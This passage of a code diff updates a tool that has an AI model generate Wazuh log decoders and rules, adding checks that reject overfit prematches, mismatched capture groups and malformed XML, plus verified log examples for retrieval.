{escape_xml(program_name)}") + elif prematch: + lines.append(f" {escape_xml(prematch)}") + lines.append("") + synthesized.append("\n".join(lines)) + + return "\n\n".join(synthesized + [decoder_xml]) + + +def _enforce_split_decoders( + decoder_xml: str, + regex_order_pairs: List[Tuple[str, List[str]]], + parent_name_hint: Optional[str] = None, +) -> str: """If split_decoders is True (regex_order_pairs > 1) but AI generated a single combined decoder, forcibly split the child decoder block into multiple blocks.""" if not decoder_xml or not regex_order_pairs or len(regex_order_pairs) <= 1: return decoder_xml - + import re as _re - decoder_blocks = _re.findall(r'(]*>.*?)', decoder_xml, _re.DOTALL) + decoder_blocks = _re.findall(_DECODER_BLOCK_RE, decoder_xml, _re.DOTALL) if not decoder_blocks: return decoder_xml - + expected_fields = set() for _, order_list in regex_order_pairs: expected_fields.update(order_list) - + new_blocks = [] for block in decoder_blocks: order_m = _re.search(r'([^<]+)', block) @@ -4568,17 +5644,34 @@ def _enforce_split_decoders(decoder_xml: str, regex_order_pairs: List[Tuple[str, # This is the combined child decoder! Split it. name_m = _re.search(r']*>', block) name_tag = name_m.group(0) if name_m else '' - + + # Every split child needs a . When the AI omitted it, + # inherit the parent block's name rather than emitting an empty + # line — an orphaned child can never match. parent_m = _re.search(r'([^<]+)', block) - parent_tag = parent_m.group(1) if parent_m else '' - + if parent_m: + parent_tag = parent_m.group(1) + else: + inherited = _find_parent_decoder_name(decoder_xml) or parent_name_hint + own_name = _decoder_block_name(block) + if inherited and inherited != own_name: + parent_tag = f'{escape_xml(inherited)}' + else: + parent_tag = '' + split_blocks = [] for regex, order_list in regex_order_pairs: - order_str = ",".join(order_list) - split_blocks.append(f'{name_tag}\n {parent_tag}\n {regex}\n {order_str}\n') + order_str = ",".join(normalize_order_names(order_list)) + lines = [name_tag] + if parent_tag: + lines.append(f' {parent_tag}') + lines.append(f' {regex}') + lines.append(f' {order_str}') + lines.append('') + split_blocks.append("\n".join(lines)) new_blocks.append("\n\n".join(split_blocks)) continue - + new_blocks.append(block) return "\n\n".join(new_blocks) @@ -4587,6 +5680,7 @@ def _enforce_split_decoders(decoder_xml: str, regex_order_pairs: List[Tuple[str, def _extract_xml_from_ai_response( full_text: str, regex_order_pairs: Optional[List[Tuple[str, List[str]]]] = None, + analysis: Optional[Dict[str, Any]] = None, ) -> Tuple[str, str]: """Extract decoder XML and rule XML from AI response text. Silently corrects regex patterns using analysis data when available. @@ -4614,15 +5708,56 @@ def _extract_xml_from_ai_response( elif ("x + # before anything else reasons about parent/child structure. + decoder_xml = _normalize_parent_attribute(decoder_xml) + # Forcibly split child decoders if the user requested it but the AI failed to do so - decoder_xml = _enforce_split_decoders(decoder_xml, regex_order_pairs) - + decoder_xml = _enforce_split_decoders( + decoder_xml, + regex_order_pairs, + parent_name_hint=(analysis or {}).get("app_name"), + ) + # Silently inject correct regex patterns (invisible to user) decoder_xml = _inject_correct_regex(decoder_xml, regex_order_pairs) + + # Children are useless without the parent they name — synthesize it if the + # AI emitted only children. + decoder_xml = _ensure_parent_decoder(decoder_xml, analysis) + decoder_xml = _sanitize_decoder_xml_osregex(decoder_xml) + + # Last, so nothing downstream rewrites a prematch already verified against + # the sample. + decoder_xml = _inject_parent_prematch(decoder_xml, (analysis or {}).get("prematch")) + decoder_xml = normalize_decoder_order_xml(decoder_xml) + # A rule keyed to a child decoder never fires — logtest reports the parent. + rule_xml = _fix_decoded_as_parent(rule_xml, decoder_xml) return decoder_xml, rule_xml +def _fix_osregex_angle_brackets(content: str) -> str: + """Replace `<` / `>` inside pattern content with `\\p`. + + A log carrying `<341004> ` drew a regex containing `\\<`, which opens + an XML tag and made the whole decoder unparseable — three correction + attempts never recovered. `<` is no answer either: Wazuh does not + entity-decode pattern content. `\\p` is the encoding that works, and both + characters are in its punctuation class.""" + for form in ("<", ">", "&lt;", "&gt;", r"\<", r"\>", "<", ">"): + content = content.replace(form, r"\p") + return content + + +def _fix_osregex_lazy_quantifier(content: str) -> str: + """Drop PCRE lazy quantifiers — OS_Regex has none. + + `\\.+?` does not mean "as few as possible" here; the `?` is a literal, so + the pattern demands a `?` in the log and matches nothing.""" + return re.sub(r"([+*])\?", r"\1", content) + + def _sanitize_decoder_xml_osregex(decoder_xml: str) -> str: """Fix escaped dots in IP patterns and bare dots inside decoder XML.""" if not decoder_xml: @@ -4632,6 +5767,8 @@ def _sanitize_decoder_xml_osregex(decoder_xml: str) -> str: def _fix_all(content: str) -> str: content = _fix_osregex_ip_dots(content) content = _fix_osregex_bare_dot_quantifier(content) + content = _fix_osregex_lazy_quantifier(content) + content = _fix_osregex_angle_brackets(content) return content sanitized = _re.sub( @@ -4647,6 +5784,91 @@ def _fix_all(content: str) -> str: return sanitized +def _osregex_group_count(regex: str) -> int: + """Capture groups in an OS_Regex pattern. `\\(` is a literal paren.""" + return len(re.findall(r"(?]*>(.*?)", re.DOTALL) + + +def _decoder_arity_error(decoder_xml: str) -> Optional[str]: + """Report a child whose does not name every capture group. + + A WAF child captured five groups — including `(blocked)` and + `(SQL Injection)` pinned as constants — against three names. Wazuh + silently assigned nothing, so the decoder matched and extracted no fields, + and validation that only asked "did a decoder match" called it working.""" + for name, body in _NAMED_DECODER_BLOCK_RE.findall(decoder_xml or ""): + regexes = re.findall(r"]*>(.*?)", body, re.DOTALL) + orders = re.findall(r"]*>(.*?)", body, re.DOTALL) + if not regexes: + continue + groups = sum(_osregex_group_count(r) for r in regexes) + names = [n.strip() for o in orders for n in o.split(",") if n.strip()] + if groups != len(names): + return ( + f"FATAL ERROR: decoder '{name}' captures {groups} group(s) but names " + f"{len(names)} field(s) ({', '.join(names) or 'none'}). Every capture group must " + "have exactly one name, in the same left-to-right order. Either name the " + "missing field(s) or stop capturing what you do not need — a constant such as " + "(blocked) should be matched literally, without parentheses, since capturing it " + "pins the decoder to that one value." + ) + return None + + +_HEX_OCTET_RE = re.compile(r"^[0-9A-Fa-f]{2}$") +_MAC_RE = re.compile(r"(?:[0-9A-Fa-f]{2}:){2,}[0-9A-Fa-f]{2}") + + +def _order_name_from_data_error(decoder_xml: str, sample_log: str) -> Optional[str]: + """Report an name lifted out of a value instead of a field key. + + An Aruba decoder emitted `A8` with `\\.+ A8:(\\S+)`, + taking the first octet of the AP's MAC (`A8:5B:F7:CC:FF:3C`) for a field + name — and pinning that octet as a literal, so it only matched APs whose MAC + starts A8. Deliberately narrow: a two-character hex token that is an octet + of a MAC in the sample. Formats whose keys really are short and upper-case + (`STN=`, `TAG=`, `ALM=`, `Q=` on a PLC record) are untouched, because none + of those are hex.""" + octets = {octet for mac in _MAC_RE.findall(sample_log or "") for octet in mac.split(":")} + if not octets: + return None + for name, body in _NAMED_DECODER_BLOCK_RE.findall(decoder_xml or ""): + for order in re.findall(r"]*>(.*?)", body, re.DOTALL): + for field in (f.strip() for f in order.split(",")): + if field and _HEX_OCTET_RE.match(field) and field in octets: + return ( + f"FATAL ERROR: decoder '{name}' names a field '{field}', which is one octet " + f"of a MAC address in the sample, not a field key. The regex also pins " + f"'{field}:' as a literal, so it matches only devices whose address starts " + f"there. Capture the whole address with a MAC pattern " + "(\\w+:\\w+:\\w+:\\w+:\\w+:\\w+) and name it srcmac or dstmac." + ) + return None + + +def _fix_decoded_as_parent(rule_xml: str, decoder_xml: str) -> str: + """Point at the parent decoder, never a child. + + `wafedge-event` named the child; logtest reports + the parent, so the rule never fired.""" + if not rule_xml or not decoder_xml: + return rule_xml + child_to_parent = {} + for name, body in _NAMED_DECODER_BLOCK_RE.findall(decoder_xml): + parent = re.search(r"\s*([^<\s]+)\s*", body) + if parent: + child_to_parent[name] = parent.group(1) + + def rewrite(match): + named = match.group(2).strip() + return f"{match.group(1)}{child_to_parent.get(named, named)}{match.group(3)}" + + return re.sub(r"()([^<]*)()", rewrite, rule_xml) + + def _sanitize_rule_xml_static_fields(rule_xml: str) -> str: """Wazuh rules do not allow tags. They must be written as tags directly. This function sanitizes them.""" @@ -4666,6 +5888,30 @@ def _sanitize_rule_xml_static_fields(rule_xml: str) -> str: return sanitized +def _xml_wellformed_error(xml_text: str) -> Optional[str]: + """Reject obviously-broken XML before wasting an install+logtest round trip on + it, and name the exact parse error so the fix-it retry knows what to change.""" + if not xml_text or not xml_text.strip(): + return None + try: + ET.fromstring(f"\n{xml_text}\n") + except ET.ParseError as exc: + return f"malformed XML — {exc}" + return None + + +_LOGTEST_ERROR_LINE_RE = re.compile(r"^.*\b(?:error|invalid|fatal)\b.*$", re.IGNORECASE | re.MULTILINE) + + +def _extract_logtest_errors(stdout: str, stderr: str) -> List[str]: + """Pull out the wazuh-logtest lines that actually explain a decoder/rule + load failure (OS_Regex compile errors, XML config errors, etc.) so they can + be handed back verbatim instead of a generic 'didn't match' message.""" + combined = "\n".join(part for part in [stdout, stderr] if part) + lines = {m.strip() for m in _LOGTEST_ERROR_LINE_RE.findall(combined) if m.strip()} + return sorted(lines)[:5] + + def _validate_ai_decoder_with_logtest( decoder_xml: str, rule_xml: str, @@ -4679,6 +5925,24 @@ def _validate_ai_decoder_with_logtest( if not find_wazuh_logtest(): return {"validated": False, "reason": "wazuh-logtest unavailable"} + decoder_xml_error = _xml_wellformed_error(decoder_xml) + if decoder_xml_error: + return {"validated": False, "reason": f"decoder XML {decoder_xml_error}", "logtest_errors": [decoder_xml_error]} + rule_xml_error = _xml_wellformed_error(rule_xml) if rule_xml else None + if rule_xml_error: + return {"validated": False, "reason": f"rule XML {rule_xml_error}", "logtest_errors": [rule_xml_error]} + + # Cheaper than an install+logtest round trip, and logtest cannot see it: + # a mismatched still "matches", it just extracts nothing. + arity_error = _decoder_arity_error(decoder_xml) + if arity_error: + return {"validated": False, "reason": arity_error, "logtest_errors": [arity_error]} + data_name_error = _order_name_from_data_error( + decoder_xml, first_non_empty([sample.raw_log for sample in logs]) + ) + if data_name_error: + return {"validated": False, "reason": data_name_error, "logtest_errors": [data_name_error]} + stamp = datetime.utcnow().strftime("%Y%m%d%H%M%S") safe_name = sanitize_name(app_name) decoder_filename = f"local_{safe_name}_ai_validate_decoder_{stamp}.xml" @@ -4697,26 +5961,62 @@ def _validate_ai_decoder_with_logtest( if rule_ok: rule_installed = True + # What "working" has to mean. Grading on `decoder_name != "unknown"` passed + # a decoder whose child extracted nothing (5 capture groups against 3 + # names) and passed logs that a *built-in* decoder answered while + # the generated one never fired. Both shipped as validated. + our_names = set(re.findall(r' List[int]: + return [int(rid) for rid in re.findall(r' Dict[str, Any]: + """Validate a rule written against a built-in decoder — no decoder installed. + + When Wazuh already decodes the log, the only thing worth proving is that + the generated rule actually fires. `_validate_ai_decoder_with_logtest` + cannot be reused: it requires decoder XML and grades on a decoder matching, + which the built-in would satisfy no matter what the rule does.""" + if not rule_xml: + return {"validated": False, "reason": "no rule XML to validate"} + if not find_wazuh_logtest(): + return {"validated": False, "reason": "wazuh-logtest unavailable"} + + rule_xml_error = _xml_wellformed_error(rule_xml) + if rule_xml_error: + return {"validated": False, "reason": f"rule XML {rule_xml_error}", "logtest_errors": [rule_xml_error]} + + expected_ids = set(_generated_rule_ids(rule_xml)) + if not expected_ids: + return {"validated": False, "reason": "rule XML declares no "} + + stamp = datetime.utcnow().strftime("%Y%m%d%H%M%S") + rule_filename = f"local_{sanitize_name(app_name)}_ai_validate_rule_{stamp}.xml" + wrapped = rule_xml.strip() + if not wrapped.startswith("\n{wrapped}\n' + + ok, err = install_temp_content(WAZUH_RULES_DIR, rule_filename, wrapped) + if not ok: + return {"validated": False, "reason": f"rule install failed: {err}"} + + try: + results = [] + all_fired = True + logtest_errors: List[str] = [] + for sample in logs: + output = run_wazuh_logtest(sample.raw_log) + parsed = parse_logtest_output(combined_logtest_output(output)) if output["available"] else {} + fired = parsed.get("rule_id") in expected_ids + if not fired: + all_fired = False + logtest_errors.extend(_extract_logtest_errors(output.get("stdout", ""), output.get("stderr", ""))) + results.append({ + "raw_log": sample.raw_log[:200], + "decoder_matched": parsed.get("decoder_name") or builtin_decoder, + "rule_id": parsed.get("rule_id"), + "fields": {k: v for k, v in parsed.items() if k not in ("decoder_name", "rule_id", "rule_level")}, + "matched": fired, + "logtest_stderr": output.get("stderr", "")[:500], + }) + return { + "validated": all_fired, + "results": results, + "logtest_errors": sorted(set(logtest_errors))[:5], + "reason": ( + f"rule fires on every sample (decoding handled by built-in '{builtin_decoder}')" + if all_fired else + "the generated rule did not fire on every sample" + ), + } + finally: + remove_temp_content(WAZUH_RULES_DIR, rule_filename) + + +_MONTH_ABBR_RE = re.compile( + r"\b(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec" + r"|Mon|Tue|Wed|Thu|Fri|Sat|Sun)\b" +) + + +def _pinned_field_value(prematch_text: str, sample_log: str) -> Optional[Tuple[str, str]]: + """Return (key, value) when `prematch_text` carries a literal field value. + + In OS_Regex `=` is written `\\p`, so `type=EDR.ALERT` reaches the prematch as + `type\\pEDR.ALERT`. Match key/value pairs from the sample against that shape: + the key is structural, anything after it is one event's data. + """ + # `key=value`, JSON `"key":"value"` and `key:value` records all pin a value; + # only the first shape was checked, so a JSON prematch embedding ERROR, + # payments-api, jdoe and a whole message passed clean. + pairs = ( + re.findall(r"([\w.\-]+)=([^\s|\]}\"]+)", sample_log or "") + + re.findall(r"\"([\w.\-]+)\"\s*:\s*\"([^\"]+)\"", sample_log or "") + + re.findall(r"(? Optional[str]: + """An opaque per-event id copied into the prematch. + + Positional formats have no `key=` to key off, so value pinning there was + invisible: a Zeek prematch carried the sample's connection uid and matched + that single connection for the rest of time. Digit runs are often + generalized while the letters survive (`CwXyZ1abcd2EfGh` -> + `CwXyZ\\d+abcd\\d+EfGh`), which is no less pinned — so check that form too.""" + for token in _OPAQUE_ID_RE.findall(sample_log or ""): + if token in prematch_text: + return token + digits_generalized = re.sub(r"\d+", r"\\d+", token) + if digits_generalized != token and digits_generalized in prematch_text: + return token + return None + + +# A prematch describes an envelope: a product tag, maybe a key name or two. +# Carrying this many distinct literal words means it has walked into the +# per-event body — a Palo Alto prematch generalized only the digits of a 40-field +# CSV and kept `allow`, `inbound`, `ssl`, `untrust`, `deny` and the rest literal, +# so it matched near-identical sessions only. Real envelopes stay well under it +# (LEEF|Imperva|WAF is three, {SVC:orders-api} is three). +_MAX_PREMATCH_LITERAL_WORDS = 6 + + +def _prematch_literal_words(prematch_text: str) -> List[str]: + """Literal alphabetic runs, ignoring OS_Regex class letters (\\d, \\s, ...).""" + without_classes = re.sub(r"\\[dwspSWD.]", " ", prematch_text or "") + return re.findall(r"[A-Za-z][A-Za-z_]{1,}", without_classes) + + +def detect_overfit_prematch( + decoder_xml: str, + predecoded_timestamp: Optional[str], + sample_log: Optional[str] = None, +) -> Optional[str]: + """Catch a decoder that passed logtest only because it was tested against the + exact log it was overfit to — e.g. ^Jul hardcoding the + one month/day/year seen in the sample instead of generalizing it. This slips + past behavioral validation (the training sample still matches), so it must be + checked for explicitly rather than relying on logtest pass/fail alone. + """ + if not decoder_xml: + return None + for prematch_text in re.findall(r"]*)?>([^<]*)", decoder_xml): + pinned = _pinned_field_value(prematch_text, sample_log or "") + if pinned: + key, value = pinned + return ( + f"FATAL ERROR: {prematch_text} hardcodes the VALUE of the " + f"'{key}' field ('{value}') from the sample log. A prematch selects the log FAMILY, " + f"so it must stop at '{key}=' and never include what follows — otherwise every event " + f"from this same source whose {key} differs will not match the decoder at all. " + f"Extract '{key}' in a child instead." + ) + if predecoded_timestamp and predecoded_timestamp in prematch_text: + return ( + f"FATAL ERROR: {prematch_text} still contains the literal " + f"timestamp ('{predecoded_timestamp}') that Wazuh's real Phase 1 pre-decoding already " + "strips before Phase 2 runs. Rewrite the prematch to match only what's left over after " + "that timestamp (and hostname, if any) — never the timestamp itself." + ) + if _MONTH_ABBR_RE.search(prematch_text) and not re.search(r"\\[dwsp.SWD]", prematch_text): + return ( + f"FATAL ERROR: {prematch_text} hardcodes a literal month " + "abbreviation instead of generalizing the date. This will only match logs from that " + "one month. Use \\S+ (or \\w+) for the month token, \\d+ for day/time/year digits — " + "never a literal calendar value." + ) + opaque = _pinned_opaque_token(prematch_text, sample_log or "") + if opaque: + return ( + f"FATAL ERROR: {prematch_text} contains '{opaque}', an " + "identifier unique to this one event. The decoder would match that single event and " + "nothing else. Replace it with \\S+ (or drop it — a prematch only has to identify " + "the log FAMILY) and extract it in a child if you need the value." + ) + # A 3+ digit literal is a date, a port, an id — never format structure. + # `^E0803` pinned a klog prematch to August 3rd, and no alphabetic-month + # rule could see it. + digit_run = re.search(r"(?{prematch_text} hardcodes the literal digits " + f"'{digit_run.group()}' from this one event (a date, port, pid or id). Use \\d+ so " + "the prematch matches the whole log family, not the single event it was built from." + ) + words = _prematch_literal_words(prematch_text) + if len(words) >= _MAX_PREMATCH_LITERAL_WORDS: + return ( + f"FATAL ERROR: {prematch_text} keeps {len(words)} literal words " + f"({', '.join(words[:8])}...) — it has run past the log's envelope and into one " + "event's data. A prematch only has to identify the log FAMILY: stop it after the " + "vendor/product tag (and at most its first field KEY), and extract everything else " + "in child blocks." + ) + return None + + +async def _rule_only_for_builtin_decoder( + request: AIGenerateRequest, + analysis: Dict[str, Any], + builtin_decoder: str, +) -> JSONResponse: + """Wazuh already decodes this log — emit a rule against it, not a decoder. + + Returns the same response shape as the main endpoint so the UI needs no + special case; `decoder_xml` is simply empty and `decoder_skipped` explains + why.""" + app_name = analysis["app_name"] + builtin_rule_id = (analysis.get("wazuh_logtest_summary") or {}).get("rule_id") + skipped = { + "decoder_skipped": True, + "builtin_decoder": builtin_decoder, + "builtin_rule_id": builtin_rule_id, + "generation_mode": "rule_only", + } + + if not analysis["needs_custom_rule"]: + # No decoder needed and nothing was asked of the rules either. + return JSONResponse({ + "decoder_xml": "", + "rule_xml": "", + "validation": { + "validated": True, + "reason": ( + f"Wazuh's built-in '{builtin_decoder}' decoder already decodes this log" + + (f" (rule {builtin_rule_id} fires)" if builtin_rule_id else "") + + " — no custom decoder is needed. Re-run with a rule requirement to " + "generate a rule, or list the fields you need in extract_fields to force " + "a custom decoder." + ), + "results": [], + }, + "attempts": 0, + "working": True, + "warning": None, + **skipped, + }) + + # Key the rule to the built-in decoder and forbid decoder output entirely. + guidance = ( + f"\n\nCRITICAL: Wazuh's built-in '{builtin_decoder}' decoder ALREADY decodes these logs" + + (f" (built-in rule {builtin_rule_id} currently fires)" if builtin_rule_id else "") + + ". Do NOT write a decoder — it would never fire, because the built-in one wins Phase 2. " + f"Output ONLY rule XML, and key it to the existing decoder with " + f"{builtin_decoder}. Use the field names the built-in decoder " + "already produces." + ) + rule_request = request.model_copy(update={ + "generation_mode": "rule_only", + "extra_context": (request.extra_context or "") + guidance, + }) + + best_rule_xml = "" + best_validation: Dict[str, Any] = {"validated": False, "reason": "not attempted"} + correction_context = "" + max_retries = 3 + + for attempt in range(max_retries): + prompt = _build_ai_prompt(rule_request, analysis) + if correction_context: + prompt += f"\n\n## CORRECTION (attempt {attempt + 1})\n{correction_context}" + + try: + full_response = await _collect_ai_response(prompt, AI_DEFAULT_MODEL, request.temperature) + if full_response.strip().startswith("ERROR:"): + raise RuntimeError(full_response) + except Exception as e: + print(f"ERROR in /api/ai/generate-validated (rule-only, attempt {attempt+1}): {e}") + return JSONResponse( + {"error": f"Failed to connect to AI model (Ollama at {OLLAMA_BASE_URL}): {e}"}, + status_code=503, + ) + + _, rule_xml = _extract_xml_from_ai_response( + full_response, + regex_order_pairs=analysis.get("regex_order_pairs"), + analysis=analysis, + ) + rule_xml = _sanitize_rule_xml_static_fields(rule_xml) + best_rule_xml = rule_xml or best_rule_xml + + if not request.validate_with_logtest: + best_validation = {"validated": False, "reason": "validation disabled by user"} + break + + validation = await asyncio.to_thread( + _validate_ai_rule_with_logtest, rule_xml, request.logs, app_name, builtin_decoder + ) + best_validation = validation + if validation.get("validated"): + break + + correction_context = ( + f"The previous rule XML FAILED wazuh-logtest validation " + f"(reason: {validation.get('reason', 'unknown')}).\n" + f"The rule must fire on every sample log. Keep {builtin_decoder} " + "and adjust the match conditions. Output corrected rule XML only." + ) + for err_line in validation.get("logtest_errors") or []: + correction_context += f"\n {err_line}" + + working = bool(best_validation.get("validated")) + return JSONResponse({ + "decoder_xml": "", + "rule_xml": best_rule_xml, + "validation": best_validation, + "attempts": attempt + 1, + "working": working, + "warning": ( + None if working or not request.validate_with_logtest else + f"Rule not confirmed firing after {attempt + 1} attempt(s) — " + f"reason: {best_validation.get('reason', 'unknown')}. Review before using." + ), + **skipped, + }) + + @app.post("/api/ai/generate-validated") async def ai_generate_validated(request: AIGenerateRequest): """Generate decoder/rule XML with AI, then validate with wazuh-logtest. @@ -4745,6 +6380,15 @@ async def ai_generate_validated(request: AIGenerateRequest): app_name = analysis["app_name"] + # Wazuh's own ruleset already decodes this log, and no extra fields were + # asked for (`needs_custom_decoder` folds extract_fields in). Generating a + # decoder here produces dead weight: the built-in wins Phase 2 regardless, + # so the custom one never fires while validation still reports success. + # Emit only a rule, keyed to the built-in with . + builtin_decoder = (analysis.get("wazuh_logtest_summary") or {}).get("decoder_name") + if not analysis["needs_custom_decoder"] and builtin_decoder: + return await _rule_only_for_builtin_decoder(request, analysis, builtin_decoder) + max_retries = 3 best_decoder_xml = "" best_rule_xml = "" @@ -4765,7 +6409,9 @@ async def ai_generate_validated(request: AIGenerateRequest): return JSONResponse({"error": f"Failed to connect to AI model (Ollama at {OLLAMA_BASE_URL}): {e}"}, status_code=503) decoder_xml, rule_xml = _extract_xml_from_ai_response( - full_response, regex_order_pairs=analysis.get("regex_order_pairs") + full_response, + regex_order_pairs=analysis.get("regex_order_pairs"), + analysis=analysis, ) if not decoder_xml and not rule_xml: print(f"WARNING in /api/ai/generate-validated (attempt {attempt+1}): No XML extracted. Raw AI response was:\n{full_response}") @@ -4779,6 +6425,19 @@ async def ai_generate_validated(request: AIGenerateRequest): best_validation = {"validated": False, "reason": "validation disabled by user"} break + overfit_reason = detect_overfit_prematch( + decoder_xml, + analysis.get("predecoded_timestamp"), + sample_log=first_non_empty([s.raw_log for s in request.logs]), + ) + if overfit_reason: + # Don't trust logtest pass/fail here — the training sample will still + # match an overfit prematch, which is exactly what makes this bug + # invisible to behavioral validation alone. + best_validation = {"validated": False, "reason": overfit_reason} + correction_context = overfit_reason + " Output corrected XML only." + continue + validation = await asyncio.to_thread( _validate_ai_decoder_with_logtest, decoder_xml, rule_xml, request.logs, app_name @@ -4788,26 +6447,43 @@ async def ai_generate_validated(request: AIGenerateRequest): if validation.get("validated"): break - # Build correction context for retry + # Build correction context for retry — always give the next attempt a + # concrete reason, even when there's no per-sample "results" (e.g. a + # malformed-XML or install failure short-circuits before logs are run). failed_logs = [r for r in validation.get("results", []) if not r.get("matched")] + correction_context = ( + f"The previous decoder/rule XML FAILED wazuh-logtest validation " + f"(reason: {validation.get('reason', 'unknown')}).\n" + ) + logtest_errors = validation.get("logtest_errors") or [] + if logtest_errors: + correction_context += "wazuh-logtest reported these errors:\n" + for err_line in logtest_errors: + correction_context += f" {err_line}\n" if failed_logs: - correction_context = ( - f"The previous decoder XML FAILED wazuh-logtest validation.\n" - f"Failed logs:\n" - ) + correction_context += "Failed logs:\n" for fl in failed_logs[:3]: correction_context += f" Log: {fl['raw_log']}\n Matched decoder: {fl.get('decoder_matched', 'none')}\n" - correction_context += "Fix the regex patterns to match these logs. Output corrected XML only." - - predecoded_program = analysis.get("wazuh_logtest_summary", {}).get("predecoded_program_name") - if predecoded_program and best_decoder_xml and "" in best_decoder_xml: - correction_context += f"\n\nFATAL ERROR: You used in the parent decoder, but Wazuh Phase 1 already extracted program_name '{predecoded_program}'. The syslog header was stripped! You MUST replace the parent decoder's with ^{predecoded_program}$ or it will never match." + if fl.get("logtest_stderr"): + correction_context += f" wazuh-logtest stderr: {fl['logtest_stderr']}\n" + correction_context += "Fix the exact error(s) above — regex, XML syntax, or tag usage — so every sample log matches. Output corrected XML only." + + predecoded_program = analysis.get("wazuh_logtest_summary", {}).get("predecoded_program_name") + if predecoded_program and best_decoder_xml and "" in best_decoder_xml: + correction_context += f"\n\nFATAL ERROR: You used in the parent decoder, but Wazuh Phase 1 already extracted program_name '{predecoded_program}'. The syslog header was stripped! You MUST replace the parent decoder's with ^{predecoded_program}$ or it will never match." + working = bool(best_validation.get("validated")) return JSONResponse({ "decoder_xml": _sanitize_decoder_xml_osregex(best_decoder_xml), "rule_xml": best_rule_xml, "validation": best_validation, "attempts": attempt + 1, + "working": working, + "warning": ( + None if working or not request.validate_with_logtest else + f"Not confirmed working after {attempt + 1} attempt(s) against wazuh-logtest " + f"— reason: {best_validation.get('reason', 'unknown')}. Review before using." + ), "generation_mode": getattr(request, 'generation_mode', 'auto'), }) diff --git a/integrations/wazuh_decoder_rule_tool/app/rag_engine.py b/integrations/wazuh_decoder_rule_tool/app/rag_engine.py index 3fa2d007..3fcbf298 100644 --- a/integrations/wazuh_decoder_rule_tool/app/rag_engine.py +++ b/integrations/wazuh_decoder_rule_tool/app/rag_engine.py @@ -32,6 +32,9 @@ _TRAIN_JSONL = _BASE / "data" / "datasets" / "train.jsonl" _RAG_STORE_DIR = _BASE / "data" / "rag_store" _SBERT_MODEL_DIR = _BASE / "data" / "models" / "decoder-sbert" / "final" +# Real log samples harvested from the Wazuh ruleset test suite and confirmed +# against wazuh-logtest. Produced by scripts/harvest_log_samples.py. +_VERIFIED_SAMPLES = _BASE / "data" / "verified_log_samples.jsonl" # --------------------------------------------------------------------------- # Globals @@ -75,9 +78,18 @@ def _get_embedding_function(): # --------------------------------------------------------------------------- def _build_decoder_text(name: str, parent: str, prematch: str, - program_name: str, regex: str, order: str) -> str: - """Produce a flat text representation for embedding.""" + program_name: str, regex: str, order: str, + log_example: str = "") -> str: + """Produce a flat text representation for embedding. + + The log sample leads, because retrieval queries with a raw log line — + embedding only decoder metadata (regex/order/prematch) meant comparing a + log against OS_Regex syntax, which is why official decoders scored barely + above unrelated feedback rows. + """ parts = [] + if log_example: + parts.append(log_example) if name: parts.append(f"decoder:{name}") if parent: @@ -93,6 +105,87 @@ def _build_decoder_text(name: str, parent: str, prematch: str, return " ".join(parts) +_verified_samples_cache: Optional[Dict[str, List[Dict[str, Any]]]] = None + + +def _load_verified_samples() -> Dict[str, List[Dict[str, Any]]]: + """Index verified log samples by the decoder name that claimed them. + + A sample is filed under both its own decoder and its parent, because an + official doc is keyed on the child decoder in some files and the parent in + others. Returns {} when the corpus hasn't been harvested yet, which just + means docs keep their previous (empty) log_example. + """ + global _verified_samples_cache + if _verified_samples_cache is not None: + return _verified_samples_cache + + index: Dict[str, List[Dict[str, Any]]] = {} + if not _VERIFIED_SAMPLES.exists(): + logger.info( + "RAG: %s absent — indexing decoders without log examples. " + "Run scripts/harvest_log_samples.py to generate it.", + _VERIFIED_SAMPLES.name, + ) + _verified_samples_cache = index + return index + + count = 0 + with _VERIFIED_SAMPLES.open(encoding="utf-8") as fh: + for line in fh: + line = line.strip() + if not line: + continue + try: + row = json.loads(line) + except json.JSONDecodeError: + continue + log = (row.get("log") or "").strip() + if not log: + continue + entry = {"log": log, "field_names": set(row.get("field_names") or [])} + for key in {row.get("decoder"), row.get("parent")}: + if key: + index.setdefault(key, []).append(entry) + count += 1 + + logger.info(f"RAG: loaded {count} verified log samples covering {len(index)} decoder names") + _verified_samples_cache = index + return index + + +def _pick_log_example(child_name: str, parent_name: str, fields: List[str]) -> str: + """Best verified sample for one parent+child decoder pair. + + Sibling decoders share a name, so a name-only match would attach the same + log to every variant in a file. logtest told us which fields each sample + actually produced, so prefer the sample whose extracted fields overlap this + decoder's — that picks the variant the log really exercises. + """ + index = _load_verified_samples() + candidates: List[Dict[str, Any]] = [] + for key in (child_name, parent_name): + if key: + candidates.extend(index.get(key, [])) + if not candidates: + return "" + + wanted = {f.strip() for f in fields if f.strip()} + if not wanted: + # No to discriminate on (e.g. a prematch-only decoder); any + # sample that reached this decoder is a fair illustration. + return candidates[0]["log"] + + def overlap(entry: Dict[str, Any]) -> Tuple[int, int]: + common = wanted & entry["field_names"] + # Tie-break toward the sample with the fewest extra fields, so the + # example stays close to what this decoder alone is responsible for. + return len(common), -len(entry["field_names"] - wanted) + + best = max(candidates, key=overlap) + return best["log"] if (wanted & best["field_names"]) else candidates[0]["log"] + + def _parse_decoder_xml_file(xml_path: Path) -> List[Dict[str, Any]]: """Parse one XML file and return a list of decoder document dicts.""" docs: List[Dict[str, Any]] = [] @@ -163,6 +256,8 @@ def _parse_decoder_xml_file(xml_path: Path) -> List[Dict[str, Any]]: child_xml += "" full_xml = parent_xml + "\n\n" + child_xml + fields = [f.strip() for f in child["order"].split(",") if f.strip()] + log_example = _pick_log_example(child["name"], child["parent"], fields) embed_text = _build_decoder_text( name=child["name"], parent=child["parent"], @@ -170,17 +265,35 @@ def _parse_decoder_xml_file(xml_path: Path) -> List[Dict[str, Any]]: program_name=pinfo.get("program_name", ""), regex=child["regex"], order=child["order"], + log_example=log_example, ) docs.append({ "id": doc_id, "text": embed_text, "decoder_xml": full_xml, - "fields": [f.strip() for f in child["order"].split(",") if f.strip()], + "fields": fields, + "log_example": log_example, "source": f"official:{xml_path.name}", }) return docs +def _encode_fields(fields: List[str], limit: int = 500) -> str: + """JSON-encode a field list so it still parses after the size cap. + + Slicing the encoded string (the previous approach) could cut mid-element and + leave `["a", "bc` behind, which made json.loads raise inside retrieve() and + took the whole request down. Drop whole elements instead. + """ + kept = list(fields) + while kept: + encoded = json.dumps(kept) + if len(encoded) <= limit: + return encoded + kept.pop() + return "[]" + + def _parse_feedback_jsonl(jsonl_path: Path) -> List[Dict[str, Any]]: """Parse feedback.jsonl / train.jsonl and return document dicts.""" docs: List[Dict[str, Any]] = [] @@ -199,6 +312,13 @@ def 